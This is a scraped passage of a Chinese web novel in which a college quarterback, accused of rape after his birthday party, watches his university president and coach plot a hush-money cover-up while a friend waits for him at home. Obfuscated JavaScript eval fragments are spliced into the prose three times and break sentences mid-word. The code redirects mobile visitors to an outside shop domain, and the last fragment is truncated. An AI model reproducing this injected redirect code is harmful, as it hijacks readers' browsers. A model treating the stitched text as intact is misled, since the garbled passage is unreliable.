要是哪天杰森没出席早晨的训练,艾登就知道肯定是他玩得太疯,直接把闹钟睡了过去,便会来这里找人,一抓一个准,从未错过。 看来,昨晚也有人在这个房间里做过了。艾登的视线从盥洗室挪开,匆匆一扫地毯上撕开的两个安全套包装,还有角落里一条撕裂的内裤,不禁皱起了眉头。 艾登抬眼一看挂在门上的时钟,指针两端大开,分别指向2与9,这个时间顿时让艾登惊出一身冷汗。他知道现在肯定很晚了,但没想到竟然已经是下午1:45分了。 云决定肯定担心的要命。 这个念头一下子驱散了他的昏沉,头痛更加严重了,可大脑也总算开始艰难工作了。他记起了云决明为他在床头柜上留的那个礼物,想到自己昨晚没能赶回去拆开,亲口告诉对方自己有多么喜欢他为自己挑选的生日礼物,就让他心中充斥着浓浓的愧疚感,简直比他此刻难耐的头痛更无法忍受。 不行,他得给云决明打个电话,再召辆优步,赶紧回家。 但他的手机并不在身上。 踉跄着翻下床,艾登着急地翻找着这间不大的单人房里每一寸角落,在他的手指慌乱地从粗毛绒间拂过时,某些不甚清晰的记忆碎片也一并被他拾获,仿佛一台破旧的卫星电视终于开始收到信号,断断续续的画面开始在脑海中闪动,唐泽茹那疯狂的嘴脸占据了其中三分之二,想起昨晚和她的那段对话,就让艾登心有余悸,好似还能感受到她混合着汗液与鲜血的掌心黏腻地抓在自己胳膊上的触觉。 但在那之后发生了什么?他怎么会留宿在兄弟会宿舍里,还一觉睡到了第二天下午? 艾登使劲晃了晃脑袋,希望这就跟人们拍打画面时强时弱的电视机一样有用。如同飞翔在空中追逐着拼图碎片,他急切地在脑海中寻找着可以接壤的记忆。 他记起自己愤怒至极地从唐泽茹身旁走开。 他记起自己嘱咐兄弟会的新人把唐泽茹带出去,不允许她再进来——也不知道他们真的做到了没有,艾登心想。 他还记得自己随即去找杰森,心情烦躁到了极致,想告诉他自己要早点离开。 之后呢?之后呢? 艾登用力拍了拍自己麻木的脸颊,蹲下身让血液全都涌向了头顶,加剧了头疼的程度,他不得不扶着床头柜坐起来,忍受着因为猛然起身带来的阵阵眩晕,就像被冲下马桶的同时还企图勾住光滑的陶瓷壁一般,使劲地搜刮着自己的记忆。 他去找杰森的时候,发生了什么? 好像是哪个中国女孩带了一小瓶高纯度的白酒过来,作为他的生日礼物。他找到杰森时,疏眠正在跟那群从来没听说过茅台的白人介绍中国的酿酒技术,手里握着那只有她巴掌大的酒瓶。杰森站在她身旁,一声不吭,打量着酒瓶的眼里尽是怀疑与不屑,显然不相信疏眠在口感与后劲上对中国酒的推崇。疏眠刚一说完,他便主动提出要尝尝。 “这酒太烈了,你们没喝过,最好别乱喝。”艾登记得自己好像劝了一句类似的话。他是识货的,奶奶喜欢收藏中国茅台,地下室的酒窖里有一半都是白酒,他很清楚从来没喝过白酒的美国人根本适应不了那个味道。 “怎么?害怕我们把你的生日礼物给喝完了?”不知道谁接了一句,他已经想不起来了,只能确定开口的并不是杰森,“艾登,大方一点,让我们尝尝嘛。” 在那之后,记忆又模糊了起来,他只记得自己一直坚持着要和杰森私底下谈谈,同时似乎还说了几句暗讽杰森是个不负责任的橄榄球队队长的话——“如果你还记得我们两个星期以后就要代表U大对上诺福克州立大学球队,你根本不会提出尝尝烈酒这种要求,他妈的,杰森,既然你是队长,就表现出一个队长应有的模样,哪怕只有这么一次。” 他那时已经被愤怒冲昏头脑。 杰森似乎也发怒了。 他不记得那之后发生了什么,似乎有几个兄弟会成员站出来打了圆场,这场争吵才没有继续下去,然而,随后,事情不知怎么地演变成了一场斗酒比赛,杰森不信他那被香槟,红酒,白葡萄酒,威士忌锻炼出来的肠胃,会应付不了小小的一瓶中国白酒。艾登隐约记得疏眠似乎开口劝阻了他,但她说得越多,杰森就越是要证明自己的酒量与无畏。说到最后,艾登记不清是自己还是疏眠说了一句什么话,杰森当场被气得满脸通红,劈手从疏眠手中夺过酒瓶,拧开盖子,连杯子都懒得用,咕咚咕咚地就喝干了半瓶,转而将瓶子递给了艾登。 杰森当时那傲慢又讥讽的眼神,艾登倒是记得清清楚楚。 老天。艾登申吟了一声,他该不会把剩下的那半瓶干掉了吧? 他不记得自己到底有没有接下杰森的挑战,但从他现在半死不活的状态来看,答案是呼之欲出的。 在床边稍稍缓和了一点不适,艾登正准备继续弯腰寻找自己的手机,房门上却传来了急促的敲门声,“艾登!艾登!”橄榄球队教练斯蒂文的声音焦急地传来,“你在里面吗?” “我在。”艾登开口了,他的声音嘶哑得可怕。话音刚落,斯蒂文教练就猛地推开门,大踏步地走了进来,他的视线第一时间就飞向了地毯上的安全套包装与那条艳俗的紫粉色内裤,脸色阴沉得可怕,恍若遍布深紫淤青,近于阒黑的天空,一望便知狂风骤雨已在到来的路上。艾登不明白,他们这个年纪的大学生喝酒是常有的事,过去教练对此一直是睁一只眼闭一只眼的态度,只要不影响训练,他就不管——诚然,赛季即将到来的关头还跑去喝烈酒,确实是不太好,但也不至于让教练气到这个份上。 然而,还没等艾登来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041227|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得及为自己辩解什么,教练就一个健步冲了过去,在他目瞪口呆的注视下,把地毯上洒落的欢愉证据统统都捡了起来,塞进自己的口袋,“你得跟我走,”斯蒂文教练言简意赅地命令了一句,“现在。” “只是喝了一点酒而已,教练,”艾登忽然瞧见了他卡在床头柜与单人床缝隙间的手机,便将它摸出来塞进了口袋,打算等教授走了再看上面的信息,“周一我就没事了。” “不关喝酒的事,”教练的脸色已经难看到了极点,厉声嚷道,艾登还从来没见过他用这种态度跟自己说话,“我说要你跟我走,就跟我走——现在,立刻,马上!” “我只想说——”他想提醒教授内裤和安全套袋子不是自己的。 “什么都别说了,你只管跟我走。” 无可奈何地,艾登没再开口说一句话,默默地跟在教练身后走出了房间。今天是周六,屋子里寂静无比,走廊上只能听得见他们沉闷的脚步声。深深的不安毫无预兆地从他心中升起,艾登的胃因为饥饿与焦虑抽搐着,五脏六腑似乎都处于痉挛之中。仿佛他一觉醒来,就来到了一个全然不同的世界,等待他的只有完全未知的恐惧,而他一步步在朝着黑暗走去。 教练一直把他带到了校长办公室,他没有敲门,径直便走了进去——艾登眉毛不自觉地一蹙,这说明校长一直在等着他们。 “我找到艾登了,”一进门,斯蒂文教练就开口了。“他的确在ADP兄弟会的宿舍里。而且,我还找到了这些。” 他把那条撕裂的内裤和两个拆开的安全套袋子放在了办公桌上。威尔逊校长本来正背对他们站在窗前,闻言转过身来。他与艾登的爷爷同岁,当年他们在U大念书时就认识了。他一直对艾登关爱有加,后者从未见过他此刻这么绝望无助的模样。校长一言不发,面如死灰地凝视着那几样东西,仿佛是在瞧着他妻子出轨的证据,办公室里的气氛凝重到了极点。 “教练,校长——下午好,先生,很高兴见到您——听着,我不知道发生了什么事,但我得告诉你们,那些东西不是我的。”艾登瞅准时机,开口了。 “不是你的?”斯蒂文教练迅速转过身,速度比见到野兔的郊狼还快,几乎是一瞬间就蹿到了艾登身边,“你的意思是说,昨晚杰森给你举办的生日派对上还有别的华裔学生?” 这算什么莫名其妙的问题?难道他们不该先告诉自己发生了什么事吗?艾登郁闷地心想,但他这会满身酒气,头发凌乱,穿的还是派对上的衣服,散发着淡淡的酸味与呕吐物的气息,实在不是反问校长和教练的好时候,因此老老实实地回答了。 “是还有一个——” “噢,天啊,谢天谢地。”威尔逊校长原本紧绷的脸一下子松弛了下来,欣喜地大喊了一声。 “——但派对刚开始他就离开了,他叫云决明,是我的朋友,他开走了我的车。” 这句话顿时抹去了校长和教练脸上初现的喜色,简直就像把照片丢进酒精里,艾登能清清楚楚地瞧见他们从头到脚的血色是怎么在刹那间褪成灰白的。 “到底发生什么事了,先生?”艾登来回打量着他们,他仍然恍惚,昏沉,头痛,此时能稳稳当当地站着都算是个奇迹。也许平时他能够从这没来由的对话中推断出自己为何会无缘无故地被带到校长面前,但他的脑子还没有完全从酒精中清醒,“看在老天的份上,能不能跟我解释一下——” “坐下吧,艾登。”校长叹了一口气,指了指他面前的那把椅子。 他照做了。这把传统造型的天鹅绒软椅非常舒适,几乎是刚坐下来,艾登就控制不住地眼皮打架了。他现在只想好好喝一杯云决明泡的热茶,吃两颗止痛药,接着就倒在床上沉沉睡去。他还惦记着自己没能跟云决明发条短信,报个平安这事,但在校长办公室里公然掏出手机显然是不可接受的。 因此,他只是努力挺直了脊背,打起了精神,注视着刻意染过黑发,此时看起来却仿佛苍老了二十岁的校长。走出兄弟会宿舍房间时感到的不安和焦虑在此刻凝聚成狂暴飓风,他的心在嗓子眼里跳动,等待着对方接下来将要说出的话。 51. Chapter·Twenty-Nine “听好了,艾登,” 威尔逊校长深吸了一口气,非常戏剧性地将双手撑在办公桌上。 “我从小看着你长大,我很清楚你是个怎样的孩子——所以,只要你跟我说你没做,我就相信你。而且,退一万步说,即便你做了,我和斯蒂文教练也可以想出办法,把这事给低调地解决。” “没错,还有两个星期新一轮赛季就开始了,你作为四分卫,可担不起任何丑闻,”斯蒂文教练紧张地插了一句。“这种事不是没过先例,犹他大学乌特人橄榄球队有两个队员酒后和几个学生打了一架,因此被警方拘留了。为了保护校队的名誉,犹他大学不得不宣布给予那两个队员停赛的处分——少了两个主要队员,犹他大学那一年在赛季上的表现,说是一塌糊涂,都抬举了。” “停赛?”艾登紧张地咽了一口口水,听见自己的声音从呼呼狂啸的飓风深处传来,带着令人惊奇的巨大回响,“为什么我会被停赛?” 校长和教练意味深长地交换了一个眼神,像在商议该由谁来告诉他。 “今天早上,有个女孩去校警察局报案,说自己在你的生日派对上遭到了强尖。”最终是威尔逊校长开口了。 “谁?”艾登心中有了不详的预感。 “一名叫做——呃,我没法念出她的名字,”校长弯腰去看办公桌上放着的文件,“ze——zi——zy——” “泽茹·唐?”艾登面无表情地念出了那个名字,然而这只加深了校长与教练脸上的灰心丧气,仿佛这就等于他承认了自己的所作所为。 “这么说,你认识这个女孩。”斯蒂文教练马上开口了,不是疑问句,而是“我就知道是如此”的肯定句。 “斯蒂文,”威尔逊校长显然也听出了他的语气,责备地喊了一句,“不管艾登认不认识她,都没有区别。更何况,艾登是我们学校的明星四分卫,交友广泛,也是可以理解的,这代表不了什么。” 不知怎么地,艾登觉得校长根本不是在为自己辩解,只是要确保他和教练始终站在同一条战线上。 “她在说谎,我绝对没有强尖她,”他此时已经完全平静了下来,忍着剧烈的头痛,艾登拿出了自己最诚挚的声音,“这个女孩心理不正常,她是个跟踪狂,还骚扰过我的前女友,跟踪我和我的室友——” “校医院的医生已经给那个女孩做了初步的检查,”威尔逊校长用一种不必要的,极其小心翼翼又温和的语气打断了他的话,“他们的确在她的下|体发现了——嗯,这么说吧,被施暴的伤痕……” 他这么说,即是劝艾登不必狡辩,最关键的证据已经被他们掌握了。 “这不可能!”他霍然起身,愤怒地大吼道,“我什么也没有对她做!就算她的确被施暴了,那也绝对不是我干的!” “冷静一点,艾登,这间办公室里没人认为你强尖了那个女孩。”教练息事宁人地说道,艾登对他说的话一个字都不相信,“那你能跟我们说说昨晚到底发生了什么事,这些东西为什么又会出现在你的房间里? 艾登不想谈昨晚发生的事情,这跟现在发生的事没有任何关系,“唐泽茹说什么了?”他咬着牙问道,“我要知道她说什么了——她直接告诉校园警察我在昨晚的派对上强尖了她吗?” “这……倒没有,”威尔逊校长吞吞吐吐地,一边说一边翻看着办公桌上的记录,“她说自己喝了一杯酒,之后就变得迷迷糊糊的。她只记得自己随后被抱到了兄弟会宿舍的楼上,略过接下来的这些细节——啊,就是这儿,她说她非常清楚地记得,对她施暴的是华裔,但她当时太晕乎乎了,除了能确定这一点以外,她无法分辨或记住具体的长相。她报案后,校园警察找了几个兄弟会的成员来询问,他们都发誓说派对上只有一个华裔学生,那就是你。” “这不可能,这绝对不可能!”艾登用力拽着自己的头发,想要把自己从这个不真实的世界中拉起来,这不可能是真的,一切不过是噩梦。再过几秒钟,他就会醒来,躺在公寓熟悉的大床上,云决明挑选的礼物摆在床头,电视机嗡嗡的声响从门外隐约传来,窗外是园丁在细细修剪灌木,与彼此用西班牙语快活地交流着,一切都令人安心无比。“我发誓,我以我父亲的名字和坟墓发誓,我——绝对——没有——对——那个——女孩——” 他太愤怒了,以至于接下来的话都被怒气逼到了悬崖边上,成为一开一合,唾沫四溅的夸张口型,却没有任何声音发出来,仿佛他正通过肺部嘶吼。办公桌上的安全套袋子,还有扯裂的内裤,都让他的肠胃剧烈地翻滚着,恶心的感觉席卷全身,他失却了继续站立的力气,只能紧紧抓着扶手,如同溺水之人紧抓浮木。 艾登料不到,他无论如何也料不到,唐泽茹竟然会疯狂到向警察诬告自己强尖。 她是怎么计划的?她悄悄在派对上观察了多久?她是什么时候溜进去,留下那些罪证的?一想到唐泽茹趁着自己在房间里不省人事的时候做了什么,就让艾登控制不住想要呕吐。幸好,可能因为他太重了,唐泽茹抬不动他,因此他身上的衣服都还是完整的——要是连衣服都被她脱了,艾登不知道此刻自己会干出什么,大概会冲进校长办公室的盥洗室里,把自己的皮囊全扒下来,从窗户丢下去。 “就像我们先前一再强调的,艾登,我们都相信你不会做这种事。”校长等他虚脱地靠在椅背在,总算从自己不堪的想象中挣脱出来以后才开口了。但艾登很不喜欢他的语气,还有那躲躲闪闪的眼神,他从FBI那儿学来的一切残忍直接地划开了威尔逊校长的假面——这位从小看着自己长大,备受自己尊敬的长辈心里其实早就认定他强尖了唐泽茹,只是因为他打定主意要包庇自己,因此才会这么说,“我们现在要做的,就是想想得怎么低调地处理这件事。那个女孩没有一口咬定是艾登干的,她的体内也没有遗留下青液,这是好事,说明我们可操作的空间很多。” “没有什么‘可操作’的空间,”艾登直勾勾地盯着他,“我是无辜的,让警察去调查好了——我倒想知道他们能查出什么结果。” “这不可能,艾登,这件事根本不能被公开。”校长不容辩驳地说道,“中国女留学生,都是胆小怕事的。先让警察敷衍她,说正在调查了。等敷衍不过去的时候吓唬吓唬,这事就过去了,”他不屑一顾地挥了挥手,“如果她威胁要把这件事情公开,就给她点封口费。我的秘书玛丽安到时候可以跟她谈谈,她有经验。” “我是不会给她钱,要她避而不谈一件我根本没做过的事情的!”艾登攥紧了拳头,忍了又忍才没砸在威尔逊校长漂亮的大理石桌面上。他宁愿校长把他拧送到警察局,他宁愿教练把他臭骂一顿,他宁愿他们拿出一点正常人在这件事上应有的态度来面对自己。他此刻对唐泽茹的痛恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041228|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与厌恶已经达到了一个空前绝后的地步,但他更不喜欢校长和教练讨论这件事时的语气——就仿佛唐泽茹是一只闯进了屋子的蟑螂,而他们商量着要如何将害虫赶走。 是的,这一次他很清楚强尖根本没有发生,那从前呢?玛丽安是怎么有经验的?多少个无辜受辱的女孩就这么被无声无息地打发了? “那就我来出钱。”校长干脆地说道,但艾登很清楚自己是不会让他这么做的,“那女孩不是我们学校的学生,我们没法用退学来威胁她,有点麻烦。但她应该知道这件事闹大了对她一点好处都没有,说出去也不会有多少人相信她。更何况,这种女孩,我见的多了,都是些不自爱,满脑子不切实际幻想的蠢货。你觉得多少能让这件事过去,斯蒂文教练,三万?五万美金?” “我会说差不多三万就行了。不过,她是中国女留学生,都是胆小怕事的。先让警察敷衍她,说吓唬吓唬,这事就过去了”斯蒂文教练沉吟了一会,回答道,“当然,她必须得签一份保密协议——艾登未来的运动生涯前途不可估量,千万不能让她觉得掌握了能够拿捏他一辈子的把柄,也许我们还需要一名律师,起草一份非常严格的文件。” “我根本不需要律师!”艾登失声嚷道,觉得自己仿佛已经成了这场交易中的透明人,“你们难道还没看出这件事的荒谬之处吗?她的指控根本站不住脚。她昨晚是在哪儿过夜的?难道我完事以后又把全套衣服给穿上了?有哪个派对上的人瞧见我把她带到楼上去了吗?没人会相信她的谎言的。让我跟她谈谈,我能说服她放弃起诉。” “你不能跟她见面,艾登,你不能把这件事告诉任何人。”斯蒂文教练瞥了他一眼,温和地走到他身边,沉沉地将一只手放再肩膀上,“你还没明白吗?在这件事情上,只要我们处理错了一步,就会酿成万劫不复的大错。你得为你的球队着想,你得为你的学校着想。我们好不容易才在上一个赛季取得了那么好的成绩,你想让我们过去一年的努力就这么毁于一旦吗?” 艾登盯着那只手,就像盯着一只在自己肩膀上洗脸的苍蝇一般恶心,这是他平生第一次,不以自己作为U大校队四分卫的身份骄傲。 “更何况,”威尔逊校长更懂得察言观色,他用手指轻轻敲了敲桌面,把艾登的目光吸引过来,“你已经告诉了我们,你没干这件事。那你也不必有什么负罪感,我和斯蒂文教授会处理好这件事——哎呀,这就跟明星总会被人敲诈勒索一样,谁都想从当红炸子鸡身上榨点油出来,是不是?” 大概是觉得他的笑话很有趣,校长干笑了几声,艾登只是面无表情地看着他。 “不要跟任何人提起这件事,证据已经被我带走了,校警是站在我们这边的,就算她闹到了市警察局——我们还有杰森·埃弗里家的关系呢。”听教练轻松的语气,这事仿佛已经被处理好了。他加重了手掌的力度,严肃地与不耐烦地转过头来的艾登对视着,“你唯一的任务就是专心应对即将到来的赛季,别的什么都别想。记住我的话,艾登,这支队伍不能没有你,这支队伍能取得任何成就也是因为你,不管你要做什么,都先想想这句话,再行动。” 艾登冷冷地瞪着他,没有回答。 “听见了没有,艾登?” 斯蒂文教练提高了一点声音。 但艾登只是拂开了他的手,随即便头也不回地向办公室外走去了。 52. Chapter·Thirty 昨晚,云决明把艾登的车开回了家,自然而然地拿着他的车钥匙打开公寓的大门以后,才后知后觉地意识到自己拿走的应该是艾登手上唯一的家钥匙。 没关系,他心想,艾登说他切完蛋糕就回来,这应该要不了多久,等一会好了。 当他第四千五百三十三次点开漆黑的手机屏幕,发觉屏幕上的时间显示是凌晨三点,空空如也的任务栏表示既没有新来电,也没有新信息时,云决明觉得,艾登今晚应该是不会回来了。 他倒没有担忧,艾登是个人高马大,身强力壮的成年男性,又是在自己兄弟会的宿舍里开派对,能出什么事? 只是有点沮丧,有点失望,仅此而已。 他疲倦地站起身,早已趴在他脚边睡着的洛克希惊醒了,摇着尾巴跟在他身后一起上楼。 经过艾登房间时,云决明走进去,调亮了他床头的灯,柔和的光芒霎时照亮了倚靠在墙上的那幅油画:两个男人并肩站在喷泉前,一大一小,当父亲的那个侧脸看着自己的儿子,年幼的男孩则低着头。“Make a wish(许个愿吧)。”云决明轻声念出他放在油画前的卡片上写的话,这既是对艾登说的,也是对画作上的男孩说的。 画家的笔触很温柔,云决明觉得自己恍惚间像在看伊凡·克拉姆斯柯依的画作,尽管这只是纽约某个尚且名不经传的艺术家的作品,但他很好地把握住了云决明在邮件里描述的一切——身后璀璨亮起的灯火朦胧了父子的背影,仿佛捕捉到了梦境将要惊醒前的那一刻,交汇流动的色彩拂过紧握的两只手,紧挨的臂膀,模糊了边界。灿烂星夜与晶莹水珠为他们带上永不会熄灭的皇冠,从他们头顶一直延续到无穷无尽的永夜。一道彩虹在喷泉间若隐若现,每一束光线里似乎都藏着爱,藏着思念。云决明特意找了一位有儿子的画家,“假设这是一幅你会送给自己孩子的礼物,”他认真地在邮件里如此写着,“假设这是你在这个世界上为他留下的唯一一份礼物,那就是我想要的感觉。” 他多希望艾登能在生日这天收到。 但这都不重要了,这是他的生日,自己的感觉并不重要。云决明心想,手指虚虚掠过那个男孩。只要艾登度过了一个愉快的生日,就够了。 他把手机放在枕头边,铃声调到了最大,随即便沉沉睡去。 然而,第二天清早吵醒他的不是迟迟归来的艾登,而是艾莉。 “Ming,我打艾登电话没人接,他起来了吗?” 她清脆的声音在电话那头响起,只睡了几个小时的云决明仍然处于半梦半醒的状态中,“怎么了?”他睡意迷蒙地问道。 “过一会,我全家人都要过来,给艾登送上迟来的生日惊喜。我本来不该跟他泄露这件事的,但你也知道他自从度假回来以后就一直躲着爷爷,我不知道艾登做好了再次见到他的心理准备没有,如果他还是没想明白的话,我就找个借口,让他们别来了。不过,也许你能劝劝他?艾登最近总是找借口不回家吃饭,奶奶很想他,已经跟我抱怨了好几次了。” “艾登还没回家……”云决明瞥了一眼自己床脚正打着呼噜的洛克希,只要艾登回来了——不管他是用什么办法进屋的,翻窗户,找管理处,还是有一把备用的钥匙,洛克希都不可能还睡在这儿,早就冲下楼去迎接他了,“我想他应该还在兄弟会宿舍那儿。” “而你认为——”艾莉拖长了音调,云决明都能想象得到她在电话那头不耐烦地抱着双臂的样子。 “嗯,即便他回来了,多半也是醉醺醺的。我估计你的母亲和祖母应该不会开心见到他那副模样,还是找个借口推掉吧。” “这样的话,那你可能得过来接我一趟,好把他们给艾登准备的礼物带过去,”艾莉说,“不然,他们还会利用这个作为理由,想要晚上再过来一趟的。” 二十分钟后,打着哈欠的云决明抵达了艾登家。奶奶不容分说,硬是要他留下来吃早饭及午饭,云决明正愁着要怎么拒绝(这可不是一件容易的事情,他站在门口都能闻到从厨房里传来的叉烧包甜香),拎着几个纸袋,从楼上噔噔噔跑下楼的艾莉拯救了他,“Ming还得送我去商场取礼物,”她撒娇地冲着她奶奶说道,云决明还是第一次见到她这么乖巧温顺的模样,不由得打了个冷颤,“人家学习很忙的,好不容易抽出一点时间出来,您就别耽搁他了。” “明仔学习时间那么忙,你还整天把他当司机使唤?”奶奶不轻不重地责备了一句,但也没再强求了,只是转身进了屋子,不一会便抱着一大堆东西出现了,有好几个里面装的全是她亲手做的点心的玻璃饭盒,一大袋肉粽,各种各样她晒制的干货,以及从法拉盛带回来的一大箱新鲜海鲜。“这都是给你们吃的,”她笑眯眯地说着,语气却有点哀怨,“明仔现在有艾登这个大厨了,都不想念奶奶的手艺了。” 云决明听得愧疚无比,刚想心软答应留下来吃几个叉烧包,艾莉一把挽起他的胳膊就走,总算是解了他的窘境。 “奶奶,再见!”她一边推着云决明,一边头也不回地嚷道,“我可能不会回来吃饭,别煮我的。” “这就是你的家人给艾登准备的礼物?”云决明把那几个不大的纸袋放进后备箱时,禁不住发问了。他以为,以维尔兰德家族的有钱程度,艾登的生日礼物应该比达力·德思礼的生日礼物还要夸张,来之前,他甚至做好了会在车道上瞧见一辆绑着绸带的玛莎拉蒂或兰博基尼的准备。 “怎么,你以为我们是那种暴发户,恨不得把全世界的奢侈品都堆在孩子身上吗?”听出了他的弦外之音,艾莉没好气地哼了一声,砰地关上了后备箱盖子,“就算我的爷爷奶奶想这么做,我妈妈也不会允许的,她是个典型的,不折不扣的中国人,崇尚勤俭持家,严以律己,整天把一粥一饭,当思来处不易。半丝半缕,恒念物力维艰挂在嘴边。我就是买个潘多拉的手链,都会被她说上几句。” 云决明倒是蛮欣赏这种价值观的,“那你知道他们都送了些什么吗?”开出艾登家车道时,他随口问道。 “我知道爷爷要等到艾登二十一岁时才会给他送一块好表,所以今年大概就是送他钻石袖口了。妈妈送了一套定制的西装,我帮她包好的,所以我知道。奶奶的话,多半是一串佛珠。我听到她跟法拉盛的一家古董店打电话时特别要对方留意过。” “你呢?” “我准备送他一首我自己亲手谱的曲。”她指了指脚边的漂亮的白色小提琴盒,云决明才意识到那里面装的真的是一把小提琴,先前,他还以为那只是一个时尚包包呢,“不然为什么我要跟着你一起走呢。” “我以为你要我带你去商场取礼物。” “那只是一个借口而已,”艾莉摇了摇头,“我跟奶奶说艾登今天有橄榄球训练,之后会一直很忙,因此我当然不能说我出门是为了给我哥送礼物,谎言不就不攻自破了吗?再说了,即便我准备的不是这个,我也会跟你一块回去的——不管怎么说,总得有个家人陪他一起过生日,哪怕我是他最不喜欢的那一个。” “别胡说,”云决明轻声说道,“你实际上是艾登最爱的那一个。” 艾莉没吭声,她飞快地撇过头去,似乎突然对窗外的景色着了迷。云决明觉得有些好笑,但也不去戳破她的羞赧。 “我不知道艾登什么时候会回来,”快开到公寓时,云决明才突然记起来一件事,“你想去买点什么早餐吃吗?我很不会做饭,可能你会吃不下。” “没事,我自己会做饭。”艾莉平平地开口了。 “你会?”云决明有点儿惊奇,既然艾登是搬出来以后才开始学做饭的,比他小的艾莉怎么可能有机会学会下厨呢? “嗯。”正常人这时候可能会解释原因,但艾莉只是从鼻子里哼了一声,表示肯定。不过,云决明也不是什么喜欢打听别人私事的人,没有继续追问。 回到家以后,已经八点多了。艾登还是没有打来电话,或发来任何一条短信,手机由始至终固执地沉默着。云决明把礼物拿进艾登房间时,甚至不放心地确认了一遍自己是不是不小心把他拉黑了。 也许自己应该主动给他发条短信,提醒艾登他的妹妹来公寓了,云决明心想,但他又马上放弃了这个诱人的念头——一个男人才不会管自己的男性朋友到底回没回家,只有对自己的喜欢的人才会这么患得患失,他告诫着自己,狠下心把手机又塞回了口袋中。既然只是朋友,就要表现出只是朋友的样子。 他把送给艾登的礼物收进衣柜里,又把艾登房间里留的灯关掉,再走下楼的时候,艾莉已经放好了所有奶奶要他带来的食材,正穿着艾登的围裙站在厨房里煮面,云决明凑过去一看,发现她在碗里卧了两个水波蛋,几片菜叶连着面条一起在锅里翻滚,旁边是她翻出的蚝油与盐,倒是一道非常广式的典型早餐了。只是,云决明很难想象艾登的奶奶会教艾莉做这种菜式,以她对孙辈的溺爱程度,艾莉应该连蚝油长什么样子都不知道才对。 “别担心,”可能是因为他盯着看太久了,艾莉忍不住开口了,“我煮的面味道还是可以的——虽然已经有好几年没做了。” “好几年?”云决明更惊讶了。 “准确来说,十年。” “你五岁就知道怎么下厨?” “有什么好惊讶的,我那时候看过大人是怎么用煤气灶的,这又不难。”艾莉若无其事地说道,就仿佛这是一件稀疏平常的事,“不过我那时候还有很多单词不认识,有些食材找到了我也不知道怎么做,只有鸡蛋面的包装上用非常简单的英语和图片描绘了做法,因此我就学会了煮面条——这又不用切,不用炒,我把烧开的开水倒在锅里,把面条下下去,等煮熟了就把火关上,往里面加蚝油和盐,直接就着锅吃,味道还挺不错的。吃完以后,把锅往洗碗机里一塞就行。” “而你的母亲,”云决明知道这多半是发生在她父亲去世以后,“就这么让一个五岁的小孩自己给自己煮面条吃?” “她不知道,难道一个五岁的小女孩就不能给自己做点夜宵吃?” 艾莉用筷子把面条捞起来,夹进碗里,她的动作确实不太熟练,面条好几次都从她手里滑落,云决明不做声地从她手里接过碗,几下便搞定了。 “我知道的五岁小女孩,即便半夜饿了想吃夜宵,也不会想着自己去厨房煮,而是会找自己的爸爸妈妈。”他拌着碗里的面条,说道。 “我很早熟,也很独立,不喜欢麻烦别人。”艾莉冷冰冰地说道,把自己的面条从云决明手上夺了过去。“又不是全世界的五岁小女孩都是你知道的那样。” 云决明只是淡淡地笑了笑,没有急着反驳对方,或者为自己辩解两句。艾莉看起来戒备心很强,但他知道她内心深处是渴望能倾诉这些不幸又痛苦的回忆的,否则也不会将自己学会做饭的年纪‘无意’地透露出来。对于她真正想掩盖的事——比如她大腿上的自残伤疤——艾莉根本提都不会提。 他们在沉默中吃完了早餐。艾莉没说错,她做的面条的确不错,水波蛋的熟度恰到好处,筷子一戳便流出金澄澄的蛋黄,裹在面条上尤为好吃,看来她和艾登都继承了奶奶的厨艺天赋。 饭后,云决明主动把碗洗了,又收拾了厨房。艾莉带着洛克希出门散步去了。为了不让自己把时间都浪费在一次又一次地确认来电与信息上,云决明决定上楼,在自己房间里继续整理受害人侧写——最近,艾登因为橄榄球训练而忙得不可开交,这份工作便完全落在了他肩上 “我给艾登又打了好几次电话,他还是不接。” 冷不丁地,艾莉的声音突然在他身后响起,吓了云决明一跳,他太专心致志了,都不知道自己忙碌了多久。转过身,他下意识地向墙上的挂钟望去,才发现已经过去一个多小时了。额头上略有微汗,把头发全都扎起来的艾莉靠在大开的房门上,把玩着手上还没收起来的狗绳,显然刚刚遛完洛克希回来。 “你说我们要不要直接开车去兄弟会宿舍把他接回来?” 到底是做妹妹的,艾莉极力假装一副毫不在意的模样,只是十根差点跟狗绳打成死结的手指暴露了她的关切。 “我可以载你去。”云决明说,一副无所谓的模样。真是搞笑,两个跟艾登算得上是关系最近的两个人却偏要在彼此面前遮掩他们共同的忧虑。他与艾莉大眼瞪大眼,视线在半空中较量了好一会,不会开车的艾莉终究败下阵来,“还是算了,”她嘟囔了一句,语气不屑,“他最讨厌我和他那帮兄弟会的成员来往,如果发现我去了那儿,说不定又要发一通脾气” “我相信他一会就回来了,别担心。” “谁担心了。”艾莉把手中的狗绳一摔,“我只是觉得在这儿待着很无聊,想早点回家罢了—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 